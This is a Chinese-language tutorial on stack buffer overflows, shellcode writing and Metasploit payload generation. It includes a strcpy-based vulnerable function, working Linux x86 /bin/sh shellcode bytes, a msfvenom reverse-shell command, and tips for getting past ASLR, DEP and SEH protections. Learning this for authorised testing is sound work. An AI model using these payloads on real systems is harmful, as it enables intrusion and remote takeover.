漏洞分析基础:栈溢出原理、Shellcode编写入门、利用MSF生成Payload
栈溢出,听起来很古老对吧?确实,它可能是缓冲区溢出里最经典的一种。我最早接触它的时候,还在用Windows XP,那时候一个简单的溢出就能直接拿下系统权限。现在虽然各种保护机制多了,但理解栈溢出,依然是逆向分析的基本功。
说白了,栈溢出就是程序往栈里写数据时,写超了。超出的数据覆盖了本该属于别人的内存区域。你想想看,如果覆盖的是函数的返回地址,那程序执行完当前函数后,就会跳到你指定的地方去。这就是漏洞利用的核心。
栈帧结构与溢出原理
我们先看一个典型的栈帧布局。当一个函数被调用时,系统会压入返回地址,然后保存旧的EBP(基址指针),再为局部变量分配空间。这个结构是固定的。
// 一个典型的栈帧布局(32位系统)
// 高地址
// [函数参数]
// [返回地址] <-- 这里被覆盖就能控制EIP
// [旧EBP]
// [局部变量] <-- 写入从这里开始
// 低地址
为什么会发生溢出?看下面这个代码:
void vulnerable_function(char *input) {
char buffer[64]; // 局部缓冲区
strcpy(buffer, input); // 没有长度检查!
// 函数返回时会从栈上取返回地址
}
如果input的长度超过64字节,strcpy就会一直复制,直到遇到'\0'。超出的部分会覆盖旧EBP,再覆盖返回地址。嗯,这里要注意:覆盖的顺序是从低地址到高地址。所以返回地址在局部变量之上。
关键点:栈溢出利用的核心就是控制返回地址。你写入的数据中,必须精确地在偏移量处放置目标地址,才能劫持程序流程。
Shellcode编写入门
Shellcode是一段机器码,用来执行你想要的命令。比如弹出一个shell,或者添加一个管理员账户。我早期写Shellcode时,最头疼的就是处理坏字符和地址问题。
一个最简单的Linux x86 Shellcode,用来执行/bin/sh:
; nasm -f elf32 shellcode.asm
; ld -m elf_i386 -o shellcode shellcode.o
BITS 32
xor eax, eax ; 清空eax
push eax ; 字符串结尾的null
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ebx指向"/bin//sh"
xor ecx, ecx ; argv = NULL
xor edx, edx ; envp = NULL
mov al, 0x0b ; execve系统调用号
int 0x80 ; 触发系统调用
提取出来的机器码大概是这样的:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80
这段代码只有23字节。但实际利用时,你往往需要避免某些字节(比如\x00),因为字符串函数会截断它。我曾经在写一个Windows下的Shellcode时,因为没处理好坏字符,导致exploit在目标机器上死活跑不起来。排查了一整天,最后发现是Shellcode里包含了一个\x0a(换行符),被输入函数给过滤了。
个人经验:写Shellcode时,先用调试器单步执行一遍,确认没有非法指令或异常。另外,尽量使用短指令,比如用xor eax, eax代替mov eax, 0,前者不包含null字节。
利用MSF生成Payload
手动写Shellcode虽然酷,但效率低。实际渗透测试中,我们更多使用Metasploit Framework(MSF)来生成Payload。MSF可以自动处理编码、坏字符、平台适配等问题。
生成一个Windows下的反向连接Shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
输出结果类似:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
... 省略剩余字节 ...
MSF生成的Payload默认会经过编码,避免坏字符。你还可以指定-b '\x00\x0a\x0d'来过滤特定字节。我个人习惯在生成后,用msfvenom -p ... -o payload.bin保存为二进制文件,然后用xxd或hexdump检查一遍。
避坑指南:我曾经在生成Linux下的Payload时,忘记指定--platform linux,结果生成了Windows的Shellcode,导致目标机器直接崩溃。另外,注意Payload的大小,有些漏洞的缓冲区有限,太大的Shellcode放不下。这时可以考虑使用分段Payload(Stager)。
知识体系与核心逻辑
下面这张图梳理了本章的核心脉络。从漏洞触发到最终获得shell,每一步都有对应的技术点。
实际利用中的注意事项
理论讲完了,说点实际的。你在做漏洞分析时,可能会遇到几个常见问题:
- 偏移量计算错误:用pattern工具(如
pattern_create.rb)生成唯一字符串,然后通过调试器找到覆盖返回地址的精确偏移。我习惯用!mona pattern插件,在Windbg里直接算。 - ASLR(地址空间布局随机化):系统随机化加载地址,导致Shellcode地址不确定。解决办法是使用
jmp esp指令,或者利用未随机化的模块(如某些DLL)。 - DEP(数据执行保护):栈不可执行。这时需要ROP(返回导向编程)来绕过。不过那是进阶内容了,本章先不展开。
一个小技巧:在调试时,可以用!exchain查看SEH链,有时栈溢出也能覆盖异常处理句柄,这也是一种利用方式。我曾在一次CTF比赛中,用SEH覆盖绕过了GS编译选项。
好了,栈溢出的基础就讲到这里。记住:理解栈帧结构是根本,Shellcode是武器,MSF是工具。三者结合,你就能从漏洞分析走向实际利用。但别忘了,这些技术请用在合法授权的环境中。